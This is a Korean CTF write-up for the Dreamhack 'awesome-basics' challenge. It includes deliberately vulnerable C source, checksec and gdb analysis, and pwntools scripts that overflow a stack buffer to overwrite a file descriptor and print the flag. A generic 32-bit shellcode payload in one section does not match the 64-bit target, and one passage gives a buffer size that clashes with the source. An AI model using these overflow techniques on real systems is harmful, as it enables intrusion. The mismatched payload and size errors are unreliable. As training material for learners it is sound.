Dreamhack/Dreamhack Wargame (Challenge)

[103] IT 비전공자 [dreamhack]awesome-basics문제 풀기

imaginefuture-1 2024. 12. 21. 15:29

어썸..베이직...어썸.!
보호기법

 

 

보안 상태 분석

주어진 바이너리(./chall)의 보안 설정은 다음과 같습니다. 각 항목을 분석하여 보안 수준과 익스플로잇 가능성을 평가합니다.


보안 항목 설명 및 상태

  1. RELRO (Relocation Read-Only)
    • 상태: Full RELRO
      • GOT(Global Offset Table)이 완전히 읽기 전용으로 보호됨.
      • GOT Overwrite 공격 불가.
  2. STACK CANARY
    • 상태: No canary found
      • 스택 카나리가 없으므로, 스택 오버플로우를 탐지하지 못함.
      • 버퍼 오버플로우를 통한 리턴 주소 덮어쓰기 가능.
  3. NX (No Execute)
    • 상태: NX disabled
      • 데이터 영역(스택, 힙)에서 코드 실행이 허용됨.
      • 셸코드 실행 가능.
  4. PIE (Position Independent Executable)
    • 상태: PIE enabled
      • 바이너리가 주소 랜덤화(ASLR) 영향을 받음.
      • 실행 시점마다 코드, 데이터, 스택, 힙 주소가 변경됨.
      • 정적 주소 기반 공격이 어렵지만, 스택 기반 익스플로잇 가능.
  5. RPATH / RUNPATH
    • 상태: No RPATH, No RUNPATH
      • 동적 라이브러리 경로와 관련된 보안 문제는 없음.
  6. Symbols
    • 상태: 50 Symbols
      • 디버깅 심볼이 포함되어 있어 분석에 유리.
  7. FORTIFY
    • 상태: No
      • FORTIFY_SOURCE가 활성화되지 않아 경계 검사 기능이 없음.
      • 보안 취약성이 높음.
  8. Fortified / Fortifiable
    • 상태: 0 / 1
      • 1개의 함수가 보호 가능했으나, 실제로 보호되지 않음.

취약점 요약

  1. NX 비활성화:
    • 데이터 영역(스택 포함)에서 코드 실행이 가능하므로, 셸코드 삽입 공격 가능.
  2. 스택 카나리 없음:
    • 스택 오버플로우 탐지가 불가능하여, 리턴 주소를 덮어쓰는 공격 가능.
  3. PIE 활성화:
    • ASLR(Address Space Layout Randomization)로 인해 메모리 주소가 실행마다 변경됨.
    • 하지만, 스택 기반 익스플로잇은 가능.
  4. GOT 공격 방지 (Full RELRO):
    • GOT 테이블이 읽기 전용이므로, 함수 주소를 덮어쓰는 공격은 불가능.

익스플로잇 가능성

1. 스택 기반 버퍼 오버플로우

  • 목표: NX 비활성화를 활용해 스택에 삽입된 셸코드를 실행.
  • 방법:
    • 입력 크기를 초과하여 리턴 주소를 덮어씀.
    • 리턴 주소를 셸코드가 저장된 스택 주소로 설정.

2. ASLR 우회

  • 문제점: PIE로 인해 함수와 데이터 섹션 주소가 실행마다 변경됨.
  • 해결 방안:
    • 프로그램이 출력하는 정보를 활용해 메모리 주소 누출.
    • 메모리 주소 누출로 스택 또는 코드 섹션의 주소를 계산.

 

 

 

소스코드당!

// Name: chall.c
// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

#define FLAG_SIZE 0x45

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

char *flag;

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    int flag_fd;
    int tmp_fd;
    char buf[80];

    initialize();

    // read flag
    flag = (char *)malloc(FLAG_SIZE);
    flag_fd = open("./flag", O_RDONLY);
    read(flag_fd, flag, FLAG_SIZE);
    close(flag_fd);

    tmp_fd = open("./tmp/flag", O_WRONLY);

    write(stdout_fd, "Your Input: ", 12);
    read(stdin_fd, buf, 0x80);

    write(tmp_fd, flag, FLAG_SIZE);
    write(tmp_fd, buf, 80);
    close(tmp_fd);

    return 0;
}

 

 

 

 

 

이 코드는 chall.c로, 버퍼 오버플로우와 같은 취약점을 포함하고 있으며, 익스플로잇 가능성이 있는 프로그램입니다. 특히, **플래그 파일(./flag)**의 내용을 처리하는 부분과 입력 버퍼에서 발생하는 메모리 취약점이 주된 공격 지점입니다. 아래는 코드의 동작과 보안 취약점에 대한 분석입니다.


코드 동작 분석

  1. 초기화 함수 (initialize)
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        signal(SIGALRM, alarm_handler);
        alarm(30);
    }
    
    • 버퍼링 비활성화: 표준 입출력(stdin, stdout)의 버퍼를 비활성화하여 실시간 데이터 처리를 지원.
    • 타이머 설정: alarm(30)으로 실행 시간을 30초로 제한.
    • SIGALRM 처리: 30초 경과 시 alarm_handler가 호출되어 프로그램이 종료.

  1. 플래그 파일 처리
    flag = (char *)malloc(FLAG_SIZE);
    flag_fd = open("./flag", O_RDONLY);
    read(flag_fd, flag, FLAG_SIZE);
    close(flag_fd);
    
    • flag 변수:
      • 동적으로 메모리를 할당(FLAG_SIZE = 0x45 = 69 바이트).
      • ./flag 파일을 열고 내용을 읽어 flag에 저장.
    • 취약점:
      • 파일 크기 검증 없이 내용을 읽으므로, 예상치 못한 데이터가 입력되면 문제가 발생할 가능성 있음.

  1. 입력 처리 및 파일 쓰기
    tmp_fd = open("./tmp/flag", O_WRONLY);
    write(stdout_fd, "Your Input: ", 12);
    read(stdin_fd, buf, 0x80);
    write(tmp_fd, flag, FLAG_SIZE);
    write(tmp_fd, buf, 80);
    close(tmp_fd);
    
    • buf 변수:
      • 크기: 80 바이트(0x50).
      • 입력: 최대 0x80(128) 바이트를 읽음 → 버퍼 오버플로우 가능.
    • 파일 쓰기:
      • ./tmp/flag 파일에 플래그(flag)와 입력(buf)를 순서대로 기록.

  1. 프로그램 종료
    • 입력을 파일에 저장한 뒤 종료.

취약점 분석

  1. 버퍼 오버플로우
    • buf의 크기는 80 바이트(0x50)이지만, read 함수는 128 바이트(0x80)를 읽습니다.
    • 이를 통해 스택 상의 데이터(예: 리턴 주소, EBP 등)를 덮어쓸 수 있음.
  2. read(stdin_fd, buf, 0x80);
  3. 스택 실행 가능성
    • 컴파일 시 -zexecstack 옵션을 사용하여 스택 실행이 가능합니다.
    • 입력된 데이터에 악의적인 셸코드가 포함되면 스택에서 실행할 수 있습니다.
  4. 플래그 노출
    • 프로그램은 플래그 내용을 ./tmp/flag에 기록:
      write(tmp_fd, flag, FLAG_SIZE);
      
    • 권한이 있는 사용자가 ./tmp/flag를 읽으면 플래그를 확인할 수 있습니다.
  5. 입력 데이터 기록
    • 사용자 입력(buf)가 플래그 뒤에 이어서 저장되므로, 플래그를 간접적으로 조작하거나 덮어쓸 수 있습니다.

익스플로잇 가능성

1. 스택 버퍼 오버플로우

  • 목표: 버퍼 오버플로우를 통해 리턴 주소를 덮어쓰고 셸코드를 실행.
  • 방법:
    1. buf 변수에 80 바이트를 초과하는 데이터를 입력.
    2. 스택 프레임의 리턴 주소를 덮어씁니다.
    3. 덮어쓴 주소를 셸코드의 시작 주소로 설정.

2. 셸코드 실행

  • 컴파일 옵션 -zexecstack으로 스택이 실행 가능하므로, 입력된 셸코드를 실행할 수 있습니다.
  • 예제 페이로드:
    python3 -c 'print("A" * 80 + "\x90" * 20 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")' | ./chall
    

3. 플래그 파일 노출

  • 프로그램은 플래그 내용을 ./tmp/flag에 기록하므로, 프로그램이 종료된 후 다음 명령어로 플래그를 확인 가능:
    cat ./tmp/flag
    

보안 개선 방안

  1. 버퍼 크기 제한
    • 입력 데이터 크기를 buf 크기(80 바이트)로 제한:
      read(stdin_fd, buf, sizeof(buf));
      
  2. 스택 실행 비활성화
    • -z noexecstack 플래그를 사용하여 스택 실행을 비활성화:
      gcc -z noexecstack -fno-stack-protector chall.c -o chall
      
  3. 플래그 파일 관리
    • 플래그 파일 접근 권한을 프로그램 사용자만 읽을 수 있도록 제한:
      chmod 600 ./flag
      
  4. 동적 메모리 관리
    • 입력 데이터 크기와 플래그 크기를 정확히 확인하여 적절히 메모리를 할당.

결론

이 프로그램은 버퍼 오버플로우스택 실행 가능성을 악용해 셸코드를 실행하거나 플래그를 노출할 수 있는 취약점을 포함하고 있습니다. 위에서 설명한 보안 개선 방안을 적용해 이러한 취약점을 방지할 수 있습니다. 😊

 

 


문제 코드를 보면
일단 입력가능한 read는 buf에 입력이 가능하다
read 함수로 flag변수에 ./flag파일 정보가 들어가는데
wirte함수의 1번째 인자가 tmp_fd인데 이는 스택구조에 들어가 있으므로
tmp_fd값을 1로 바꿔준다면 flag값이 출력될것같다

출처 ㅣ https://stfofu.tistory.com/51

 

 

 

 

왜 tmp_fd값을 1로 바꿔주면 flag값이 출력되는거야?

 

 

 

 

tmp_fd의 값을 1로 바꿔주면 write 함수가 stdout(표준 출력)으로 데이터를 출력하게 됩니다. 이를 통해 flag 변수에 저장된 ./flag 파일의 내용이 콘솔에 직접 출력됩니다. 이는 write 함수의 동작 방식과 stdout 파일 디스크립터의 역할 때문입니다.


write 함수의 동작

ssize_t write(int fd, const void *buf, size_t count);
  • fd (파일 디스크립터):
    • 데이터를 기록할 대상입니다. 예:
      • 1: 표준 출력 (stdout)
      • 2: 표준 에러 (stderr)
      • 기타 값: 파일이나 소켓 같은 디스크립터.
  • buf:
    • 기록할 데이터가 저장된 메모리의 주소입니다.
  • count:
    • 기록할 데이터의 크기(바이트).

코드 분석: write 함수 호출

write(tmp_fd, flag, FLAG_SIZE);
  • tmp_fd: 파일 디스크립터로, 기본적으로 ./tmp/flag 파일에 데이터를 기록하도록 설정.
  • flag: ./flag 파일에서 읽어온 데이터가 저장된 변수.
  • FLAG_SIZE: 기록할 데이터의 크기(69 바이트).

tmp_fd를 1로 변경하면?

  • 1은 **표준 출력(stdout)**의 파일 디스크립터입니다.
  • 따라서, write(tmp_fd, flag, FLAG_SIZE)는 콘솔에 데이터를 출력하게 됩니다.
  • 결과적으로 flag 변수의 내용(./flag 파일 내용)이 터미널에 출력됩니다.

익스플로잇 메커니즘

tmp_fd가 스택에 저장되어 있으므로, 버퍼 오버플로우를 이용해 tmp_fd 값을 덮어쓸 수 있습니다.

취약점 발생 지점

read(stdin_fd, buf, 0x80);
  • buf의 크기는 80 바이트이지만, 최대 128 바이트를 읽으므로 스택의 다음 변수(tmp_fd)를 덮어쓸 수 있음.

페이로드 설계

  1. buf를 통해 tmp_fd를 덮어쓰기:
    • 80 바이트를 채운 뒤, tmp_fd 위치에 1을 삽입.
  2. 페이로드 예시 (Python)
  3. payload = b"A" * 80 # buf 크기만큼 채움 payload += b"\x01\x00\x00\x00" # tmp_fd를 1로 설정 (리틀 엔디안)
  4. 익스플로잇 실행
    • 페이로드를 프로그램에 전달:
      (python3 -c 'print("A" * 80 + "\x01\x00\x00\x00")'; cat) | ./chall
      

결과

  • tmp_fd가 1로 변경됨.
  • write(tmp_fd, flag, FLAG_SIZE)가 실행되면서 flag 변수가 표준 출력(stdout)에 출력됩니다.
  • ./flag 파일의 내용(플래그)이 터미널에 나타납니다.

왜 tmp_fd를 조작하면 출력이 되는가?

  • 파일 디스크립터의 역할:
    • write 함수는 fd 값을 기준으로 데이터를 기록할 대상을 결정합니다.
    • tmp_fd를 1로 설정하면, 데이터가 콘솔로 출력됩니다.
  • 취약점 활용:
    • 스택 상의 데이터를 덮어써 파일 디스크립터를 원하는 값(stdout)으로 변경 가능.
    • 프로그램 로직을 우회해 플래그 데이터를 직접 출력.

보안 강화 방안

  1. 입력 크기 제한:
    • read 함수 호출 시 입력 크기를 buf 크기로 제한:
      read(stdin_fd, buf, sizeof(buf));
      
  2. 스택 보호 활성화:
    • 컴파일 시 -fstack-protector를 사용하여 스택 카나리를 활성화.
  3. tmp_fd 초기화 제한:
    • tmp_fd 값을 상수로 정의하거나, 사용자 입력이 영향을 미치지 않도록 코드 설계.

요약

tmp_fd를 1로 바꾸는 이유는 표준 출력(stdout) 파일 디스크립터가 1로 예약되어 있기 때문입니다. 이를 통해 flag 변수의 내용이 터미널에 출력되며, 프로그램의 버퍼 오버플로우 취약점을 활용해 이를 수행할 수 있습니다. 😊


 

 

from pwn import *
p = remote('host3.dreamhack.games', 19657)
payload = b'A' * 0x50 + p64(1)
p.sendafter(b'Input: ', payload)
p.interactive()



from pwn import *
p = remote('host3.dreamhack.games',19424 )
payload = b'A' * 80
payload += p64(1)
p.sendline(payload)
p.interactive()

https://stfofu.tistory.com/51

 

[드림핵] awesome-basics 풀이

보호기법 확인스택부분에 실행권한이 있는것으로 보인다   문제 코드// Name: chall.c// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall#include #include #include #include #include #include #define FLAG_SIZE 0x45void

stfofu.tistory.com

https://velog.io/@kkangjane/Dreamhack-Wargame-awesome-basics

 

[Dreamhack Wargame] awesome-basics

buffer overflow

velog.io

 

 

 

 

 

p64(1)은 tmp_fd를 조작하기 위해 사용하는 값으로, tmp_fd를 1로 설정하여 stdout으로 데이터를 출력하게 만듭니다.


p64의 역할

  • **p64**는 Python에서 pwntools 라이브러리의 함수로, 64비트 리틀 엔디안 형식으로 값을 변환합니다.
  • 64비트 시스템에서는 정수(특히 주소나 데이터)를 8바이트로 표현하며, p64는 이를 적절히 변환해줍니다.

예시

p64(1)
  • 1을 64비트 리틀 엔디안 형식으로 변환:
    • 결과: b'\x01\x00\x00\x00\x00\x00\x00\x00'

코드 분석

1. 페이로드 구성

payload = b'A' * 0x50 + p64(1)
  • b'A' * 0x50:
    • buf 크기(80 바이트)를 채우는 임의 데이터.
  • p64(1):
    • 스택 상에서 tmp_fd가 저장된 위치를 덮어쓰기 위해 사용.
    • tmp_fd의 값을 1(표준 출력)로 설정.

2. 서버와 상호작용

p.sendafter(b'Input: ', payload)
  • sendafter:
    • 서버에서 특정 프롬프트(여기서는 Input: )를 받을 때까지 기다린 후, 페이로드를 전송.

3. tmp_fd의 역할

  • tmp_fd는 플래그(flag)와 사용자 입력을 기록하는 파일 디스크립터입니다:
    write(tmp_fd, flag, FLAG_SIZE);
    
  • 원래 tmp_fd는 ./tmp/flag 파일에 기록되도록 설정되지만, 값이 1로 변경되면 **stdout**으로 데이터를 출력하게 됩니다.

결과

  • p64(1)을 사용해 tmp_fd를 1로 설정.
  • write(tmp_fd, flag, FLAG_SIZE)가 터미널로 flag 데이터를 출력.
  • 이를 통해 플래그를 획득할 수 있습니다.

 


gdb) disassemble main
Dump of assembler code for function main:
   0x00000000000012ef <+0>:	endbr64
   0x00000000000012f3 <+4>:	push   %rbp
   0x00000000000012f4 <+5>:	mov    %rsp,%rbp
   0x00000000000012f7 <+8>:	sub    $0x70,%rsp
   0x00000000000012fb <+12>:	mov    %edi,-0x64(%rbp)
   0x00000000000012fe <+15>:	mov    %rsi,-0x70(%rbp)
   0x0000000000001302 <+19>:	movl   $0x0,-0x4(%rbp)
   0x0000000000001309 <+26>:	movl   $0x1,-0x8(%rbp)
   0x0000000000001310 <+33>:	mov    $0x0,%eax
   0x0000000000001315 <+38>:	call   0x128a <initialize>
   0x000000000000131a <+43>:	mov    $0x45,%edi
   0x000000000000131f <+48>:	call   0x1140 <malloc@plt>
   0x0000000000001324 <+53>:	mov    %rax,0x2d05(%rip)        # 0x4030 <flag>
   0x000000000000132b <+60>:	mov    $0x0,%esi
   0x0000000000001330 <+65>:	lea    0xcd6(%rip),%rax        # 0x200d
   0x0000000000001337 <+72>:	mov    %rax,%rdi
   0x000000000000133a <+75>:	mov    $0x0,%eax
   0x000000000000133f <+80>:	call   0x1160 <open@plt>
   0x0000000000001344 <+85>:	mov    %eax,-0xc(%rbp)
   0x0000000000001347 <+88>:	mov    0x2ce2(%rip),%rcx        # 0x4030 <flag>
   0x000000000000134e <+95>:	mov    -0xc(%rbp),%eax
   0x0000000000001351 <+98>:	mov    $0x45,%edx
   0x0000000000001356 <+103>:	mov    %rcx,%rsi
   0x0000000000001359 <+106>:	mov    %eax,%edi
   0x000000000000135b <+108>:	call   0x1120 <read@plt>
--Type <RET> for more, q to quit, c to continue without paging--ret
   0x0000000000001360 <+113>:	mov    -0xc(%rbp),%eax
   0x0000000000001363 <+116>:	mov    %eax,%edi
   0x0000000000001365 <+118>:	call   0x1110 <close@plt>
   0x000000000000136a <+123>:	mov    $0x1,%esi
   0x000000000000136f <+128>:	lea    0xc9e(%rip),%rax        # 0x2014
   0x0000000000001376 <+135>:	mov    %rax,%rdi
   0x0000000000001379 <+138>:	mov    $0x0,%eax
   0x000000000000137e <+143>:	call   0x1160 <open@plt>
   0x0000000000001383 <+148>:	mov    %eax,-0x10(%rbp)
   0x0000000000001386 <+151>:	mov    -0x8(%rbp),%eax
   0x0000000000001389 <+154>:	mov    $0xc,%edx
   0x000000000000138e <+159>:	lea    0xc8a(%rip),%rcx        # 0x201f
   0x0000000000001395 <+166>:	mov    %rcx,%rsi
   0x0000000000001398 <+169>:	mov    %eax,%edi
   0x000000000000139a <+171>:	call   0x10f0 <write@plt>
   0x000000000000139f <+176>:	lea    -0x60(%rbp),%rcx
   0x00000000000013a3 <+180>:	mov    -0x4(%rbp),%eax
   0x00000000000013a6 <+183>:	mov    $0x80,%edx
   0x00000000000013ab <+188>:	mov    %rcx,%rsi
   0x00000000000013ae <+191>:	mov    %eax,%edi
   0x00000000000013b0 <+193>:	call   0x1120 <read@plt>
   0x00000000000013b5 <+198>:	mov    0x2c74(%rip),%rcx        # 0x4030 <flag>
   0x00000000000013bc <+205>:	mov    -0x10(%rbp),%eax
   0x00000000000013bf <+208>:	mov    $0x45,%edx
   0x00000000000013c4 <+213>:	mov    %rcx,%rsi
   0x00000000000013c7 <+216>:	mov    %eax,%edi
--Type <RET> for more, q to quit, c to continue without paging--
   0x00000000000013c9 <+218>:	call   0x10f0 <write@plt>
   0x00000000000013ce <+223>:	lea    -0x60(%rbp),%rcx
   0x00000000000013d2 <+227>:	mov    -0x10(%rbp),%eax
   0x00000000000013d5 <+230>:	mov    $0x50,%edx
   0x00000000000013da <+235>:	mov    %rcx,%rsi
   0x00000000000013dd <+238>:	mov    %eax,%edi
   0x00000000000013df <+240>:	call   0x10f0 <write@plt>
   0x00000000000013e4 <+245>:	mov    -0x10(%rbp),%eax
   0x00000000000013e7 <+248>:	mov    %eax,%edi
   0x00000000000013e9 <+250>:	call   0x1110 <close@plt>
   0x00000000000013ee <+255>:	mov    $0x0,%eax
   0x00000000000013f3 <+260>:	leave
   0x00000000000013f4 <+261>:	ret
End of assembler dump.

 

 

 

주어진 어셈블리 덤프는 main 함수의 동작을 기계어 수준에서 보여줍니다. 이를 분석하여 프로그램의 동작, 데이터 흐름, 취약점 등을 확인할 수 있습니다. 이 분석에서는 플래그 읽기 및 출력 로직익스플로잇 가능성을 다룹니다.


핵심 로직 식별

1. 플래그 읽기

   0x0000000000001324 <+53>:	mov    %rax,0x2d05(%rip)        # 0x4030 <flag>
   0x0000000000001347 <+88>:	mov    0x2ce2(%rip),%rcx        # 0x4030 <flag>
   0x0000000000001356 <+103>:	mov    %rcx,%rsi
   0x0000000000001359 <+106>:	mov    %eax,%edi
   0x000000000000135b <+108>:	call   0x1120 <read@plt>
  • malloc로 플래그를 저장할 메모리를 할당(flag 변수).
  • open("./flag")로 플래그 파일을 열고, 파일 디스크립터를 얻음(%eax에 저장).
  • 플래그 파일 내용을 읽어(read) 메모리에 저장(flag 변수 주소에 저장).

2. 사용자 입력 받기

   0x000000000000139f <+176>:	lea    -0x60(%rbp),%rcx
   0x00000000000013a3 <+180>:	mov    -0x4(%rbp),%eax
   0x00000000000013a6 <+183>:	mov    $0x80,%edx
   0x00000000000013ab <+188>:	mov    %rcx,%rsi
   0x00000000000013ae <+191>:	mov    %eax,%edi
   0x00000000000013b0 <+193>:	call   0x1120 <read@plt>
  • buf 변수(스택에 할당된 -0x60부터 시작)에 사용자 입력을 읽음.
  • 읽기 크기는 128바이트(0x80).
  • buf 크기가 96바이트(0x60)이므로, 스택 오버플로우 발생 가능.

3. 플래그와 사용자 입력 기록

   0x00000000000013bc <+205>:	mov    -0x10(%rbp),%eax
   0x00000000000013c4 <+213>:	mov    %rcx,%rsi
   0x00000000000013c7 <+216>:	mov    %eax,%edi
   0x00000000000013c9 <+218>:	call   0x10f0 <write@plt>
  • flag 내용을 파일 디스크립터 tmp_fd에 기록.
  • write 함수 호출:
    • edi: 파일 디스크립터.
    • rsi: 데이터 주소(flag).
    • edx: 데이터 크기(0x45).

4. 사용자 입력 기록

   0x00000000000013ce <+223>:	lea    -0x60(%rbp),%rcx
   0x00000000000013d2 <+227>:	mov    -0x10(%rbp),%eax
   0x00000000000013d5 <+230>:	mov    $0x50,%edx
   0x00000000000013da <+235>:	mov    %rcx,%rsi
   0x00000000000013dd <+238>:	mov    %eax,%edi
   0x00000000000013df <+240>:	call   0x10f0 <write@plt>
  • 사용자 입력(buf)를 tmp_fd에 기록.
  • edi: 파일 디스크립터.
  • rsi: 데이터 주소(buf).
  • edx: 데이터 크기(0x50 = 80바이트).

취약점 분석

1. 스택 버퍼 오버플로우

   0x00000000000013ab <+188>:	mov    %rcx,%rsi
   0x00000000000013ae <+191>:	mov    %eax,%edi
   0x00000000000013b0 <+193>:	call   0x1120 <read@plt>
  • **buf 크기(96바이트)**보다 큰 128바이트를 읽으므로, 스택 오버플로우 발생 가능.
  • 스택 상의 변수(tmp_fd 등)를 덮어쓰거나 리턴 주소를 조작 가능.

2. tmp_fd 조작

   0x00000000000013b5 <+198>:	mov    0x2c74(%rip),%rcx        # 0x4030 <flag>
   0x00000000000013bc <+205>:	mov    -0x10(%rbp),%eax
   0x00000000000013c4 <+213>:	mov    %rcx,%rsi
   0x00000000000013c7 <+216>:	mov    %eax,%edi
   0x00000000000013c9 <+218>:	call   0x10f0 <write@plt>
  • tmp_fd의 값을 **파일 디스크립터 1(stdout)**로 조작하면, 플래그가 콘솔에 출력됨.

 

 

https://stfofu.tistory.com/51